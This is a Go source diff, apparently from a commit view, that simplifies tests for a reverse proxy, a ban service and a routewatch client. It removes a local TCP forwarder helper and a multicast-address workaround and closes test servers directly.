s, _, _ := startWithClock(t, "", map[string]string{ s, _, _ := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: "http://224.0.0.1", lookupSource: off, routeWatchURL: url,
}) })
wantTagsMissing(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward), wantTagsMissing(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
+2 -7
View File
@@ -239,17 +239,12 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
} }
} }
func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) { func TestRefusedConnectionFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
t.Parallel() t.Parallel()
f := newFixture(t, answering(routedAnswer)) f := newFixture(t, answering(routedAnswer))
// Another test can take a closed server's port at once, so routewatch's f.server.Close()
// address here is a multicast address, to which TCP cannot connect.
f.client = routewatch.New(routewatch.Params{
URL: "http://224.0.0.1/", Now: f.clk.Now,
ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
})
f.route() f.route()
f.waitFor(routewatch.RequestFailed) f.waitFor(routewatch.RequestFailed)
+7 -96
View File
@@ -5,6 +5,7 @@ import (
"context" "context"
"encoding/pem" "encoding/pem"
"io" "io"
"maps"
"net" "net"
"net/http" "net/http"
"net/http/httptest" "net/http/httptest"
@@ -13,7 +14,6 @@ import (
"path/filepath" "path/filepath"
"strconv" "strconv"
"strings" "strings"
"sync"
"sync/atomic" "sync/atomic"
"syscall" "syscall"
"testing" "testing"
@@ -195,13 +195,7 @@ func TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain(t *testing.T)
env := discriminatorSettings(t) env := discriminatorSettings(t)
addr, _, stop := startDiscriminator(t, env) addr, _, stop := startDiscriminator(t, env)
site, out := startRProxy(t, "http://"+addr, startApp(t))
// rproxy asks discriminator through an address the test holds throughout,
// so no other test can take it while discriminator is stopped.
backend, forwardTo := startForwarder(t)
forwardTo(addr)
site, out := startRProxy(t, "http://"+backend, startApp(t))
// A visitor who keeps asking throughout, and is never refused. // A visitor who keeps asking throughout, and is never refused.
visitorDone := make(chan struct{}) visitorDone := make(chan struct{})
@@ -227,10 +221,6 @@ func TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain(t *testing.T)
wantStatus(t, site+bannedProbe, placed, http.StatusForbidden) wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
wantStatus(t, site+"/", placed, http.StatusForbidden) wantStatus(t, site+"/", placed, http.StatusForbidden)
// rproxy's connections are closed at once from here, before discriminator
// stops and frees its port.
forwardTo("")
stop() stop()
// With discriminator down, the site answers, and rproxy says the default did it. // With discriminator down, the site answers, and rproxy says the default did it.
@@ -242,14 +232,12 @@ func TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain(t *testing.T)
t.Errorf("rproxy's line is %v", line) t.Errorf("rproxy's line is %v", line)
} }
// Started again with its state files, it applies the ban again. // Back at its address, with its state files, it applies the ban again.
addr, _, stop = startDiscriminator(t, env) restarted := maps.Clone(env)
forwardTo(addr) restarted[listenAddr] = addr
_, _, stop = startDiscriminator(t, restarted)
defer func() { defer stop()
forwardTo("")
stop()
}()
wantStatus(t, site+"/", placed, http.StatusForbidden) wantStatus(t, site+"/", placed, http.StatusForbidden)
@@ -261,83 +249,6 @@ func TestTheSiteAnswersWhileDiscriminatorIsStoppedAndStartedAgain(t *testing.T)
} }
} }
// startForwarder listens at a free port until the test ends, and returns its
// address and what sets the address it forwards to. It forwards each
// connection it takes to that address, and closes the connection at once while
// the address is "".
func startForwarder(t *testing.T) (string, func(addr string)) {
t.Helper()
ctx := t.Context()
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", localhost+":0")
if err != nil {
t.Fatalf("listen: %v", err)
}
t.Cleanup(func() {
_ = listener.Close()
})
var (
mu sync.Mutex
to string
)
// dial connects to the address set, and returns nil while it is "". It
// holds the lock throughout, so once another address is set, nothing
// connects to the one before.
dial := func() net.Conn {
mu.Lock()
defer mu.Unlock()
if to == "" {
return nil
}
conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", to)
if err != nil {
return nil
}
return conn
}
go func() {
for {
conn, err := listener.Accept()
if err != nil {
return
}
upstream := dial()
if upstream == nil {
_ = conn.Close()
continue
}
go pipe(upstream, conn)
go pipe(conn, upstream)
}
}()
return listener.Addr().String(), func(addr string) {
mu.Lock()
defer mu.Unlock()
to = addr
}
}
// pipe copies src to dst until src ends, then closes both, which ends the copy
// the other way too.
func pipe(dst, src net.Conn) {
_, _ = io.Copy(dst, src)
_ = dst.Close()
_ = src.Close()
}
// answersNormally reports whether a request to url from the client at from, as // answersNormally reports whether a request to url from the client at from, as
// X-Forwarded-For names it, gets the app's answer. // X-Forwarded-For names it, gets the app's answer.
func answersNormally(ctx context.Context, url, from string) bool { func answersNormally(ctx context.Context, url, from string) bool {
+3 -14
View File
@@ -975,20 +975,9 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
t.Errorf("no line dropped in the metrics:\n%s", metrics) t.Errorf("no line dropped in the metrics:\n%s", metrics)
} }
// From here the endpoint closes each connection it takes, so the // Closed, the endpoint refuses the connection made to send the
// one made to send the lines still waiting at the stop fails at // lines still waiting at the stop, which then does not wait.
// once. Closing the endpoint instead would free its port for _ = endpoint.Close()
// another test to take.
go func() {
for {
conn, err := endpoint.Accept()
if err != nil {
return
}
_ = conn.Close()
}
}()
}) })
out.line(t, "type", "request") out.line(t, "type", "request")